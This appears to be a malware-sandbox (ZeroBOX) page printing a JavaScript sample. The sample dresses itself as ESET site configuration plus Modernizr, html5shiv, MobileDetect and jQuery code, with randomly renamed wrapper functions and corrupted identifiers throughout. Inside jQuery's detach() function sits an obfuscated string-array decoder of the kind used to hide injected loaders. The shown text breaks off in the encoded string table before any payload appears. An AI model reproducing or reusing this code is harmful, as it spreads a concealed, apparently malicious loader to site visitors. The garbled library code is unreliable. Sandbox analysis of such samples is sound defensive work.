Static | ZeroBOX
No static analysis available.
var templateBaseUrl="/typo3conf/ext/eset_base/Resources/Public/js";var geoApiUrl="/int/?type=13554&tx_esetdownloads_ajax%5Baction%5D=getGeo&tx_esetdownloads_ajax%5Bcontroller%5D=Downloads&cHash=3gh93mn54mnruy3nry";var cartMetaApiUrl="/int/about/careers/?type=13544";var autocompleteApiUrl="/int/?type=13555";var sidebarApiUrl="/int/?type=99999";var cartViewAllUrl="/int/catalog/";var branchName="int";var gwcBranch="int";var isoLangCode="nt";var window={};window.main={ESET:this,webpack:{Init:cgM,PageHeaderInit:[],PageBodyInit:[]}};var cartApiUrl="";var cartSid="0";var cartIconText="";var i18n={user:'User',users:'Users',year:'Year',years:'Years',month:'Month',months:'Months',remove:'Remove',checkout:'Checkout',subtotal:'Subtotal',emptyCart:'Your cart is empty.',viewAll:'View all products',productDownloadHelpText:'Click on this file to start installation',close:'Close',enterNoOfDevices:'Enter number of devices:'};function nTl(Ag,Yd,Tj,aD,Ys){function is(obj,type){return typeof obj===type}
function setClasses(classes){var className=docElement.className,classPrefix=Modernizr._config.classPrefix||"";isSVG&&(className=className.baseVal);if(Modernizr._config.enableJSClass){var reJS=new RegExp("(^|\\s)"+classPrefix+"no-js(\\s|$)");className=className.replace(reJS,"$1"+classPrefix+"js$2")}
if(Modernizr._config.enableClasses){className+=" "+classPrefix+classes.join(" "+classPrefix);isSVG?docElement.className.baseVal=className:docElement.className=className}}
function addTest(feature,test){if("object"==typeof feature)
for(var key in feature)
hasOwnProp(feature,key)&&addTest(key,feature[key]);else{feature=feature.toLowerCase();var featureNameSplit=feature.split("."),last=Modernizr[featureNameSplit[0]];2==featureNameSplit.length&&(last=last[featureNameSplit[1]]);if(void 0!==last)
return Modernizr;test="function"==typeof test?test():test;if(1==featureNameSplit.length)
Modernizr[featureNameSplit[0]]=test;else{!Modernizr[featureNameSplit[0]]||Modernizr[featureNameSplit[0]]instanceof Boolean||(Modernizr[featureNameSplit[0]]=new Boolean(Modernizr[featureNameSplit[0]]));Modernizr[featureNameSplit[0]][featureNameSplit[1]]=test}
setClasses([(test&&0!=test?"":"no-")+featureNameSplit.join("-")]);Modernizr._trigger(feature,test)}
return Modernizr}
function cssToDOM(name){return name.replace(/([a-z])-([a-z])/g,function(str,m1,m2){return m1+m2.toUpperCase()}).replace(/^-/,"")}
function createElement(){return"function"!=typeof document.createElement?document.createElement(arguments[0]):isSVG?document.createElementNS.call(document,"http://www.w3.org/2000/svg",arguments[0]):document.createElement.apply(document,arguments)}
function getBody(){var body=document.body;if(!body){body=createElement(isSVG?"svg":"body");body.fake=!0}
return body}
function injectElementWithStyles(rule,callback,nodes,testnames){var style,ret,node,docOverflow,mod="modernizr",div=createElement("div"),body=getBody();if(parseInt(nodes,10))
for(;nodes--;){node=createElement("div");node.id=testnames?testnames[nodes]:mod+(nodes+1);div.appendChild(node)}
style=createElement("style");style.type="text/css";style.id="s"+mod;(body.fake?body:div).appendChild(style);body.appendChild(div);style.styleSheet?style.styleSheet.cssText=rule:style.appendChild(document.createTextNode(rule));div.id=mod;if(body.fake){body.style.background="";body.style.overflow="hidden";docOverflow=docElement.style.overflow;docElement.style.overflow="hidden";docElement.appendChild(body)}
ret=callback(div,rule);if(body.fake){body.parentNode.removeChild(body);docElement.style.overflow=docOverflow;docElement.offsetHeight}else
div.parentNode.removeChild(div);return!!ret}
function contains(str,substr){return!!~(""+str).indexOf(substr)}
function fnBind(fn,that){return function(){return fn.apply(that,arguments)}}
function testDOMProps(props,obj,elem){var item;for(var i in props)
if(props[i]in obj){if(!1===elem)
return props[i];item=obj[props[i]];return is(item,"function")?fnBind(item,elem||obj):item}
return!1}
function domToCSS(name){return name.replace(/([A-Z])/g,function(str,m1){return"-"+m1.toLowerCase()}).replace(/^ms-/,"-ms-")}
function nativeTestProps(props,value){var i=props.length;if("CSS"in window&&"supports"in window.CSS){for(;i--;)
if(window.CSS.supports(domToCSS(props[i]),value))
return!0;return!1}
if("CSSSupportsRule"in window){for(var conditionText=[];i--;)
conditionText.push("("+domToCSS(props[i])+":"+value+")");conditionText=conditionText.join(" or ");return injectElementWithStyles("@supports ("+conditionText+") { #modernizr { position: absolute; } }",function(node){return"absolute"==getComputedStyle(noddR,Hmull).position})}
return undefined}
function testProps(props,prefixed,value,skipValueTest){function cleanElems(){if(afterInit){delete mStyle.style;delete mStyle.modElem}}
skipValueTest=!is(skipValueTest,"undefined")&&skipValueTest;if(!is(value,"undefined")){var result=nativeTestProps(props,value);if(!is(result,"undefined"))
return result}
for(var afterInit,i,propsLength,prop,before,elems=["modernizr","tspan","samp"];!mStyle.style&&elems.length;){afterInit=!0;mStyle.modElem=createElement(elems.shift());mStyle.style=mStyle.modElem.style}
propsLength=props.length;for(i=0;i<propsLength;i++){prop=props[i];before=mStyle.style[prop];contains(prop,"-")&&(prop=cssToDOM(prop));if(mStyle.style[prop]!==undefined){if(skipValueTest||is(value,"undefined")){cleanElems();return"pfx"!=prefixed||prop}
try{mStyle.style[prop]=value}catch(e){}
if(mStyle.style[prop]!=before){cleanElems();return"pfx"!=prefixed||prop}}}
cleanElems();return!1}
function testPropsAll(prop,prefixed,elem,value,skipValueTest){var ucProp=prop.charAt(0).toUpperCase()+prop.slice(1),props=(prop+" "+cssomPrefixes.join(ucProp+" ")+ucProp).split(" ");if(is(prefixed,"string")||is(prefixed,"undefined"))
return testProps(props,prefixed,value,skipValueTest);props=(prop+" "+domPrefixes.join(ucProp+" ")+ucProp).split(" ");return testDOMProps(props,prefixed,elem)}
function testAllProps(prop,value,skipValueTest){return testPropsAll(prop,undefined,undefined,value,skipValueTest)}
var classes=[],tests=[],ModernizrProto={"_version":"3.3.1","_config":{"classPrefix":"","enableClasses":!0,"enableJSClass":!0,"usePrefixes":!0},"_q":[],"on":function(test,cb){var self=this;setTimeout(function(){cb(self[test])},0)},"addTest":function(name,fn,options){tests.push({"name":name,"fn":fn,"options":options})},"addAsyncTest":function(fn){tests.push({"name":null,"fn":fn})}},Modernizr=function(){};Modernizr.prototype=ModernizrProto;Modernizr=new Modernizr;var newSyntax="CSS"in window&&"supports"in window.CSS,oldSyntax="supportsCSS"in window;Modernizr.addTest("supports",newSyntax||oldSyntax);var docElement=document.documentElement,isSVG="svg"===docElement.nodeName.toLowerCase();isSVG||function(window,document){function addStyleSheet(ownerDocument,cssText){var p=ownerDocument.createElement("p"),parent=ownerDocument.getElementsByTagName("head")[0]||ownerDocument.documentElement;p.innerHTML="x<style>"+cssText+"</style>";return parent.insertBefore(p.lastChild,parent.firstChild)}
function getElements(){var elements=html5.elements;return"string"==typeof elements?elements.split(" "):elements}
function addElements(newElements,ownerDocument){var elements=html5.elements;"string"!=typeof elements&&(elements=elements.join(" "));"string"!=typeof newElements&&(newElements=newElements.join(" "));html5.elements=elements+" "+newElements;shivDocument(ownerDocument)}
function getExpandoData(ownerDocument){var data=expandoData[ownerDocument[expando]];if(!data){data={};expanID++;ownerDocument[expando]=expanID;expandoData[expanID]=data}
return data}
function createElement(nodeName,ownerDocument,data){ownerDocument||(ownerDocument=document);if(supportsUnknownElements)
return ownerDocument.createElement(nodeName);data||(data=getExpandoData(ownerDocument));var node;node=data.cache[nodeName]?data.cache[nodeName].cloneNode():saveClones.test(nodeName)?(data.cache[nodeName]=data.createElem(nodeName)).cloneNode():data.createElem(nodeName);return!node.canHaveChildren||reSkip.test(nodeName)||node.tagUrn?node:data.frag.appendChild(node)}
function createDocumentFragment(ownerDocument,data){ownerDocument||(ownerDocument=document);if(supportsUnknownElements)
return ownerDocument.createDocumentFragment();data=data||getExpandoData(ownerDocument);for(var clone=data.frag.cloneNode(),i=0,elems=getElements(),l=elems.length;i<l;i++)
clone.createElement(elems[i]);return clone}
function shivMethods(ownerDocument,data){if(!data.cache){data.cache={};data.createElem=ownerDocument.createElement;data.createFrag=ownerDocument.createDocumentFragment;data.frag=data.createFrag()}
ownerDocument.createElement=function(nodeName){return html5.shivMethods?createElement(nodeName,ownerDocument,data):data.createElem(nodeName)};ownerDocument.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+getElements().join().replace(/[\w\-:]+/g,function(nodeName){data.createElem(nodeName);data.frag.createElement(nodeName);return'c("'+nodeName+'")'})+");return n}")(html5,data.frag)}
function shivDocument(ownerDocument){ownerDocument||(ownerDocument=document);var data=getExpandoData(ownerDocument);!html5.shivCSS||supportsHtml5Styles||data.hasCSS||(data.hasCSS=!!addStyleSheet(ownerDocument,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}"));supportsUnknownElements||shivMethods(ownerDocument,data);return ownerDocument}
function addWrappers(ownerDocument){for(var noddR,Hmodes=ownerDocument.getElementsByTagName("*"),index=nodes.length,reElements=RegExp("^(?:"+getElements().join("|")+")$","i"),result=[];index--;){node=nodes[index];reElements.test(node.nodeName)&&result.push(node.applyElement(createWrapper(node)))}
return result}
function createWrapper(element){for(var noddR,Hmodes=element.attributes,index=nodes.length,wrapper=element.ownerDocument.createElement(shivNamespace+":"+element.nodeName);index--;){node=nodes[index];node.specified&&wrapper.setAttribute(node.nodeNamdR,Hmode.nodeValue)}
wrapper.style.cssText=element.style.cssText;return wrapper}
function shivCssText(cssText){for(var pair,parts=cssText.split("{"),index=parts.length,reElements=RegExp("(^|[\\s,>+~])("+getElements().join("|")+")(?=[[\\s,>+~#.:]|$)","gi"),replacement="$1"+shivNamespace+"\\:$2";index--;){pair=parts[index]=parts[index].split("}");pair[pair.length-1]=pair[pair.length-1].replace(reElements,replacement);parts[index]=pair.join("}")}
return parts.join("{")}
function removeWrappers(wrappers){for(var index=wrappers.length;index--;)
wrappers[index].removeNode()}
function shivPrint(ownerDocument){function removeSheet(){clearTimeout(data._removeSheetTimer);shivedSheet&&shivedSheet.removeNode(!0);shivedSheet=null}
var shivedSheet,wrappers,data=getExpandoData(ownerDocument),namespaces=ownerDocument.namespaces,ownerWindow=ownerDocument.parentWindow;if(!supportsShivableSheets||ownerDocument.printShived)
return ownerDocument;void 0===namespaces[shivNamespace]&&namespaces.add(shivNamespace);ownerWindow.attachEvent("onbeforeprint",function(){removeSheet();for(var imports,length,sheet,collection=ownerDocument.styleSheets,cssText=[],index=collection.length,sheets=Array(index);index--;)
sheets[index]=collection[index];for(;sheet=sheets.pop();)
if(!sheet.disabled&&reMedia.test(sheet.media)){try{imports=sheet.imports;length=imports.length}catch(er){length=0}
for(index=0;index<length;index++)
sheets.push(imports[index]);try{cssText.push(sheet.cssText)}catch(er){}}
cssText=shivCssText(cssText.reverse().join(""));wrappers=addWrappers(ownerDocument);shivedSheet=addStyleSheet(ownerDocument,cssText)});ownerWindow.attachEvent("onafterprint",function(){removeWrappers(wrappers);clearTimeout(data._removeSheetTimer);data._removeSheetTimer=setTimeout(removeSheet,500)});ownerDocument.printShived=!0;return ownerDocument}
var supportsHtml5Styles,supportsUnknownElements,options=window.html5||{},reSkip=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,saveClones=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,expando="_html5shiv",expanID=0,expandoData={};!function(){try{var a=document.createElement("a");a.innerHTML="<xyz></xyz>";supportsHtml5Styles="hidden"in a;supportsUnknownElements=1==a.childNodes.length||function(){document.createElement("a");var frag=document.createDocumentFragment();return void 0===frag.cloneNode||void 0===frag.createDocumentFragment||void 0===frag.createElement}()}catch(e){supportsHtml5Styles=!0;supportsUnknownElements=!0}}();var html5={"elements":options.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video","version":"3.7.3","shivCSS":!1!==options.shivCSS,"supportsUnknownElements":suppo
Modernizr._config.usePrefixes&&(css+=str1+"-webkit-gradient(linear,left top,right bottom,from(#9f9),to(white));");var elem=createElement("a"),style=elem.style;style.cssText=css;return(""+style.backgroundImage).indexOf("gradient")>-1});Modernizr.addTest("multiplebgs",function(){var style=createElement("a").style;style.cssText="background:url(https://),url(https://),red url(https://)";return/(url\s*\(.*?){3}/.test(style.background)});Modernizr.addTest("opacity",function(){var style=createElement("a").style;style.cssText=prefixes.join("opacity:.55;");return/^0.55$/.test(style.opacity)});Modernizr.addTest("rgba",function(){var style=createElement("a").style;style.cssText="background-color:rgba(150,255,150,.5)";return(""+style.backgroundColor).indexOf("rgba")>-1});var hasEvent=function(){function inner(eventName,element){var isSupported;if(!eventName)
return!1;element&&"string"!=typeof element||(element=createElement(element||"div"));eventName="on"+eventName;isSupported=eventName in element;if(!isSupported&&needsFallback){element.setAttribute||(element=createElement("div"));element.setAttribute(eventName,"");isSupported="function"==typeof element[eventName];element[eventName]!==undefined&&(element[eventName]=undefined);element.removeAttribute(eventName)}
return isSupported}
var needsFallback=!("onblur"in document.documentElement);return inner}();ModernizrProto.hasEvent=hasEvent;Modernizr.addTest("hashchange",function(){return!1!==hasEvent("hashchange",window)&&(document.documentMode===undefined||document.documentMode>7)});var mq=function(){var matchMedia=window.matchMedia||window.msMatchMedia;return matchMedia?function(mq){var mql=matchMedia(mq);return mql&&mql.matches||!1}:function(mq){var bool=!1;injectElementWithStyles("@media "+mq+" { #modernizr { position: absolute; } }",function(node){bool="absolute"==(window.getComputedStyle?window.getComputedStyle(noddR,Hmull):node.currentStyle).position});return bool}}();ModernizrProto.mq=mq;var testStyles=ModernizrProto.testStyles=injectElementWithStyles;Modernizr.addTest("touchevents",function(){var bool;if("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch)
bool=!0;else{var query=["@media (",prefixes.join("touch-enabled),("),"heartz",")","modernizr{top:9px;position:absolute}}"].join("");testStyles(query,function(node){bool=9===node.offsetTop})}
return bool});!function(){var ua=navigator.userAgent,wkvers=ua.match(/applewebkit\/([0-9]+)/gi)&&parseFloat(RegExp.$1),webos=ua.match(/w(eb)?osbrowser/gi),wppre8=ua.match(/windows phone/gi)&&ua.match(/iemobile\/([0-9])+/gi)&&parseFloat(RegExp.$1)>=9,oldandroid=wkvers<533&&ua.match(/android/gi);return webos||oldandroid||wppre8}()?testStyles('@font-face {font-family:"font";src:url("https://")}',function(node,rule){var style=document.getElementById("smodernizr"),sheet=style.sheet||style.styleSheet,cssText=sheet?sheet.cssRules&&sheet.cssRules[0]?sheet.cssRules[0].cssText:sheet.cssText||"":"",bool=/src/i.test(cssText)&&0===cssText.indexOf(rule.split(" ")[0]);Modernizr.addTest("fontface",bool)}):Modernizr.addTest("fontface",!1);testStyles('#modernizr{font:0/0 a}#modernizr:after{content:":)";visibility:hidden;font:7px/1 a}',function(node){Modernizr.addTest("generatedcontent",node.offsetHeight>=7)});var omPrefixes="Moz O ms Webkit",cssomPrefixes=ModernizrProto._config.usePrefixes?omPrefixes.split(" "):[];ModernizrPro
return undefined;if(!prop)
return!1;prop=prop.replace(/^@/,"");rule=prop.replace(/-/g,"_").toUpperCase()+"_RULE";if(rule in cssrule)
return"@"+prop;for(var i=0;i<length;i++){var prefix=prefixes[i];if(prefix.toUpperCase()+"_"+rule in cssrule)
return"@-"+prefix.toLowerCase()+"-"+prop}
return!1};ModernizrProto.atRule=atRule;var domPrefixes=ModernizrProto._config.usePrefixes?omPrefixes.toLowerCase().split(" "):[];ModernizrProto._domPrefixes=domPrefixes;var modElem={"elem":createElement("modernizr")};Modernizr._q.push(function(){delete modElem.elem});var mStyle={"style":modElem.elem.style};Modernizr._q.unshift(function(){delete mStyle.style});ModernizrProto.testAllProps=testPropsAll;ModernizrProto.prefixed=function(prop,obj,elem){if(0===prop.indexOf("@"))
return atRule(prop);-1!=prop.indexOf("-")&&(prop=cssToDOM(prop));return obj?testPropsAll(prop,obj,elem):testPropsAll(prop,"pfx")};ModernizrProto.testAllProps=testAllProps;Modernizr.addTest("cssanimations",testAllProps("animationName","a",!0));Modernizr.addTest("boxshadow",testAllProps("boxShadow","1px 1px",!0));Modernizr.addTest("flexbox",testAllProps("flexBasis","1px",!0));Modernizr.addTest("flexboxlegacy",testAllProps("boxDirection","reverse",!0));Modernizr.addTest("flexboxtweener",testAllProps("flexAlign","end",!0));Modernizr.addTest("flexwrap",testAllProps("flexWrap","wrap",!0));Modernizr.addTest("csstransforms",function(){return-1===navigator.userAgent.indexOf("Android 2.")&&testAllProps("transform","scale(1)",!0)});Modernizr.addTest("csstransforms3d",function(){var ret=!!testAllProps("perspective","1px",!0),usePrefix=Modernizr._config.usePrefixes;if(ret&&(!usePrefix||"webkitPerspective"in docElement.style)){var mq;if(Modernizr.supports)
mq="@supports (perspective: 1px)";else{mq="@media (transform-3d)";usePrefix&&(mq+=",(-webkit-transform-3d)")}
mq+="modernizr{width:7px;height:18px;margin:0;padding:0;border:0}}";testStyles("#modernizr{width:0;height:0}"+mq,function(elem){ret=7===elem.offsetWidth&&18===elem.offsetHeight})}
return ret});Modernizr.addTest("csstransitions",testAllProps("transition","all",!0));!function(){var featureNames,feature,aliasIdx,result,nameIdx,featureName,featureNameSplit;for(var featureIdx in tests)
if(tests.hasOwnProperty(featureIdx)){featureNames=[];feature=tests[featureIdx];if(feature.name){featureNames.push(feature.name.toLowerCase());if(feature.options&&feature.options.aliases&&feature.options.aliases.length)
for(aliasIdx=0;aliasIdx<feature.options.aliases.length;aliasIdx++)
featureNames.push(feature.options.aliases[aliasIdx].toLowerCase())}
result=is(feature.fn,"function")?feature.fn():feature.fn;for(nameIdx=0;nameIdx<featureNames.length;nameIdx++){featureName=featureNames[nameIdx];featureNameSplit=featureName.split(".");if(1===featureNameSplit.length)
Modernizr[featureNameSplit[0]]=result;else{!Modernizr[featureNameSplit[0]]||Modernizr[featureNameSplit[0]]instanceof Boolean||(Modernizr[featureNameSplit[0]]=new Boolean(Modernizr[featureNameSplit[0]]));Modernizr[featureNameSplit[0]][featureNameSplit[1]]=result}
classes.push((result?"":"no-")+featureNameSplit.join("-"))}}}();setClasses(classes);delete ModernizrProto.addTest;delete ModernizrProto.addAsyncTest;for(var i=0;i<Modernizr._q.length;i++)
Modernizr._q[i]();window.Modernizr=Modernizr}
function klH(UC,Wp,Lw,Kk){define(function(){"use strict";function equalIC(a,b){return null!=a&&null!=b&&a.toLowerCase()===b.toLowerCase()}
function containsIC(array,value){var valueLC,i,len=array.length;if(!len||!value)
return!1;valueLC=value.toLowerCase();for(i=0;i<len;++i)
if(valueLC===array[i].toLowerCase())
return!0;return!1}
function convertPropsToRegExp(object){for(var key in object)
hasOwnProp.call(object,key)&&(object[key]=new RegExp(object[key],"i"))}
function prepareUserAgent(userAgent){return(userAgent||"").substr(0,500)}
function MobileDetect(userAgent,maxPhoneWidth){this.ua=prepareUserAgent(userAgent);this._cache={};this.maxPhoneWidth=maxPhoneWidth||600}
var impl={};impl.mobileDetectRules={"phones":{"iPhone":"\\biPhone\\b|\\biPod\\b","BlackBerry":"BlackBerry|\\bBB10\\b|rim[0-9]+|\\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\\b-[0-9]+","HTC":"HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\\bEVO\\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel","Nexus":"Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6","Dell":"Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\\b001DL\\b|\\b101DL\\b|\\bGS01\\b","Motorola":"Motorola|DROIDX|DROID BIONIC|\\bDroid\\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865
if(hasOwnProp.call(mobileDetectRules.props,key)){values=mobileDetectRules.props[key];isArray(values)||(values=[values]);len=values.length;for(i=0;i<len;++i){value=values[i];verPos=value.indexOf("[VER]");verPos>=0&&(value=value.substring(0,verPos)+"([\\w._\\+]+)"+value.substring(verPos+5));values[i]=new RegExp(value,"i")}
mobileDetectRules.props[key]=values}
convertPropsToRegExp(mobileDetectRules.oss);convertPropsToRegExp(mobileDetectRules.phones);convertPropsToRegExp(mobileDetectRules.tablets);convertPropsToRegExp(mobileDetectRules.uas);convertPropsToRegExp(mobileDetectRules.utils);mobileDetectRules.oss0={"WindowsPhoneOS":mobileDetectRules.oss.WindowsPhoneOS,"WindowsMobileOS":mobileDetectRules.oss.WindowsMobileOS}}();impl.findMatch=function(rules,userAgent){for(var key in rules)
if(hasOwnProp.call(rules,key)&&rules[key].test(userAgent))
return key;return null};impl.findMatches=function(rules,userAgent){var result=[];for(var key in rules)
hasOwnProp.call(rules,key)&&rules[key].test(userAgent)&&result.push(key);return result};impl.getVersionStr=function(propertyName,userAgent){var patterns,i,len,match,props=impl.mobileDetectRules.props;if(hasOwnProp.call(props,propertyName)){patterns=props[propertyName];len=patterns.length;for(i=0;i<len;++i){match=patterns[i].exec(userAgent);if(null!==match)
return match[1]}}
return null};impl.getVersion=function(propertyName,userAgent){var version=impl.getVersionStr(propertyName,userAgent);return version?impl.prepareVersionNo(version):NaN};impl.prepareVersionNo=function(version){var numbers;numbers=version.split(/[a-z._ \/\-]/i);1===numbers.length&&(version=numbers[0]);if(numbers.length>1){version=numbers[0]+".";numbers.shift();version+=numbers.join("")}
return Number(version)};impl.isMobileFallback=function(userAgent){return impl.detectMobileBrowsers.fullPattern.test(userAgent)||impl.detectMobileBrowsers.shortPattern.test(userAgent.substr(0,4))};impl.isTabletFallback=function(userAgent){return impl.detectMobileBrowsers.tabletPattern.test(userAgent)};impl.prepareDetectionCache=function(cache,userAgent,maxPhoneWidth){if(void 0===cache.mobile){var phone,tablet,phoneSized;tablet=impl.findMatch(impl.mobileDetectRules.tablets,userAgent);if(tablet){cache.mobile=cache.tablet=tablet;cache.phone=null}else{phone=impl.findMatch(impl.mobileDetectRules.phones,userAgent);if(phone){cache.mobile=cache.phone=phone;cache.tablet=null}else if(impl.isMobileFallback(userAgent)){phoneSized=MobileDetect.isPhoneSized(maxPhoneWidth);if(void 0===phoneSized){cache.mobile=impl.FALLBACK_MOBILE;cache.tablet=cache.phone=null}else if(phoneSized){cache.mobile=cache.phone=impl.FALLBACK_PHONE;cache.tablet=null}else{cache.mobile=cache.tablet=impl.FALLBACK_TABLET;cache.phone=null}}else if(impl.is
cache.mobile=cache.tablet=cache.phone=null}}};impl.mobileGrade=function(t){var $isMobile=null!==t.mobile();return t.os("iOS")&&t.version("iPad")>=4.3||t.os("iOS")&&t.version("iPhone")>=3.1||t.os("iOS")&&t.version("iPod")>=3.1||t.version("Android")>2.1&&t.is("Webkit")||t.version("Windows Phone OS")>=7||t.is("BlackBerry")&&t.version("BlackBerry")>=6||t.match("Playbook.*Tablet")||t.version("webOS")>=1.4&&t.match("Palm|Pre|Pixi")||t.match("hp.*TouchPad")||t.is("Firefox")&&t.version("Firefox")>=12||t.is("Chrome")&&t.is("AndroidOS")&&t.version("Android")>=4||t.is("Skyfire")&&t.version("Skyfire")>=4.1&&t.is("AndroidOS")&&t.version("Android")>=2.3||t.is("Opera")&&t.version("Opera Mobi")>11&&t.is("AndroidOS")||t.is("MeeGoOS")||t.is("Tizen")||t.is("Dolfin")&&t.version("Bada")>=2||(t.is("UC Browser")||t.is("Dolfin"))&&t.version("Android")>=2.3||t.match("Kindle Fire")||t.is("Kindle")&&t.version("Kindle")>=3||t.is("AndroidOS")&&t.is("NookTablet")||t.version("Chrome")>=11&&!$isMobile||t.version("Safari")>=5&&!$isMobile||t.
function XMt(DL,hn){if("undefined"!=typeof module&&module.exports)
return function(factory){module.exports=factory()};if("function"==typeof define&&define.amd)
return define;if("undefined"!=typeof window)
return function(factory){window.MobileDetect=factory()};throw new Error("unknown environment")}
function rAG(Bi,Wc,xW,Gx){Modernizr.addTest("touch",function(){var bool;"ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch?bool=!0:Modernizr.testStyles(["@media (",Modernizr._prefixes.join("touch-enabled),("),"modernizr",")","modernizr{top:9px;position:absolute}}"].join(""),function(node){bool=9===node.offsetTop});return bool});Modernizr.addTest("pointerevents",function(){return!!window.PointerEvent});["win","osx","x11","linux"].forEach(function(os){var test="osx"===os?"mac":os;Modernizr.addTest("os-"+os,function(){return!!~appVersion.indexOf(test)})});["ipad","iphone","ipod"].forEach(function(device){Modernizr.addTest(device,function(){return!!~userAgent.indexOf(device)})});Modernizr.addTest("os-ios",function(){return Modernizr.ipad||Modernizr.ipod||Modernizr.iphone});Modernizr.addTest("os-android",function(){return!!~userAgent.indexOf("android")});Modernizr.addTest("ie",function(){return!!userAgent.match(/MSIE|Trident/i)});Modernizr.addTest("ie10",function(){return!!user
function zAu(aT){"object"==typeof module&&"object"==typeof module.exports?module.exports=global.document?factory(global,!0):function(w){if(!w.document)
throw new Error("jQuery requires a window with a document");return factory(w)}:factory(global)}
function cgM(){function isArraylike(obj){var length="length"in obj&&obj.length,type=jQuery.type(obj);return"function"!==type&&!jQuery.isWindow(obj)&&(!(1!==obj.nodeType||!length)||("array"===type||0===length||"number"==typeof length&&length>0&&length-1 in obj))}
function winnow(elements,qualifier,not){if(jQuery.isFunction(qualifier))
return jQuery.grep(elements,function(elem,i){return!!qualifier.call(elem,i,elem)!==not});if(qualifier.nodeType)
return jQuery.grep(elements,function(elem){return elem===qualifier!==not});if("string"==typeof qualifier){if(risSimple.test(qualifier))
return jQuery.filter(qualifier,elements,not);qualifier=jQuery.filter(qualifier,elements)}
return jQuery.grep(elements,function(elem){return jQuery.inArray(elem,qualifier)>=0!==not})}
function sibling(cur,dir){do{cur=cur[dir]}while(cur&&1!==cur.nodeType);return cur}
function createOptions(options){var object=optionsCache[options]={};jQuery.each(options.match(rnotwhite)||[],function(_,flag){object[flag]=!0});return object}
function detach(){function kjrlk(sn,by){var by=by[vm('0x39e','0x49d','0x419')]('');function ag(vt,pb,um){return kjrcv(um- -'0x189',vt);}
var pf=[],uj=sn[sl('0x147','Hqt(','0x19f')](''),qy='';function pk(am,nj,rx){return kjrxx(rx-'0x27f',am);}
var nq=by[ag('#SN6','0x1f5','0x191')+'h'];function rl(hc,kw,je){return kjrcv(je-'0x2f1',kw);}
var oa=0x0;while(oa<uj[pk('0x514','0x468','0x47f')+'h']){if(uj[oa]===by[0x0]){var wp=nq-0x1,vu=0x1,tj=uj[oa];while(wp){if(uj[oa+vu]===by[vu])
tj+=uj[oa+vu],vu++,wp--;else
break;}
!wp?(pf[ag('ojrO','0xf8','0xab')](qy),qy=''):qy+=tj,oa=oa+vu;}else
qy+=uj[oa],oa++;}
pf[pk('0x588','0x4e3','0x4f9')](qy);function hz(ib,wg,bl){return kjrxx(bl-'0x188',ib);}
function sl(pa,qr,pe){return kjrcv(pe- -'0x60',qr);}
function vm(wn,vs,yf){return kjrxx(yf-'0x185',wn);}
return pf;}
function kjrig(uh,ud,np){return kjrcv(np- -'0x7c',uh);}
function kjrqv(){var gr=['pJjVW4Pc','y1LfBc0','Bd8/p0O','rwXMsMm','Bgrky1K','rsGjiqG','C0PJwuu','W4H3W5/dMwG','FSkNl8k3W6a','r2C8F8oA','y1LfBge','wgGZrCov','Be/cReVcTW','W7lcUwZdJ24','AGBdVCo9fa','WQhdHmo0W5y+','W4CyjhOR','wuvSmKO','rxxcSglcOG','ySoxqSoeWQK','rwXjsMm','cbTvW5zR','W7aTWOxdMmoQ','wuvSCeO','WPhdOSo+W4uy','lKtcKCowWOu','y0PJwuu','CrNcJIDM','WPrYW5JcJv4','C2avW7RdLW','BuPJwuu','wuvSquO','p8oUeSkSW6W','BgLky1K','fSodkSkfW5y','xSkicmoQfG','wuvSieO','W4L6W7lcIMm','y1LfBhm','WPe9d2ZcTW','BuevrCog','W59AbCk5W6C','W7PDW6ldPCkp','WOfwsLaW','BgvUz3q','rwXosMm','g8kwWOvQza','vSk4lSodWQ4','WP4gBfOD','BhHky1K','W54MWQZdOSo2','wuvSoeO','vLpcHqJcHa','WPFcKrpcRdS','Bu4vrCog','wgGZq8ov','sKPJwuu','WRpdR8kCDhW','W4tcRmolf8kS','W5VcOGBdPLq','WRbbWO4IW7O','WOJdG8oxW78e','W6S+kgKn','Bc5ky1K','W59AzCk5W6C','lxVcJCocDW','rwXbsMm','W6lcMCoNmCkk','W53cQtRcLIC','wuvSjuO','W63dGNhcH04','lKtcKCowWP8','W7zpFSkqW50','abjEW6NcQa','fCkRcmo2WP8','fg5PWPX9','rwXwsMm','xGldII1Q','WQD4W4JcN2S','FhGGk20','rwXSsMm','BgDky1K','kflcT8
function kjrsg(gb){function wj(vl,gi,el){return kjrcv(gi- -'0x328',vl);}
var lf=[];function jo(tr,uc,uz){return kjrxx(tr-'0x2ed',uc);}
for(var tk=gb[wj('x(%d',-'0x87','0x12')+'h']-0x1;tk>=0x0;tk--){lf[jo('0x567','0x553','0x5c6')](gb[tk]);}
return lf;}
function kjrlh(fv,uf,vx){return kjrxx(uf-'0x163',vx);}
function kjriy(cj,gk,th){return kjrxx(cj-'0x132',th);}
function kjrsd(we,ei,tv){return kjrcv(tv-'0xc4',we);}
function kjrav(gd,yt,oq){return kjrcv(gd-'0x1a1',oq);}
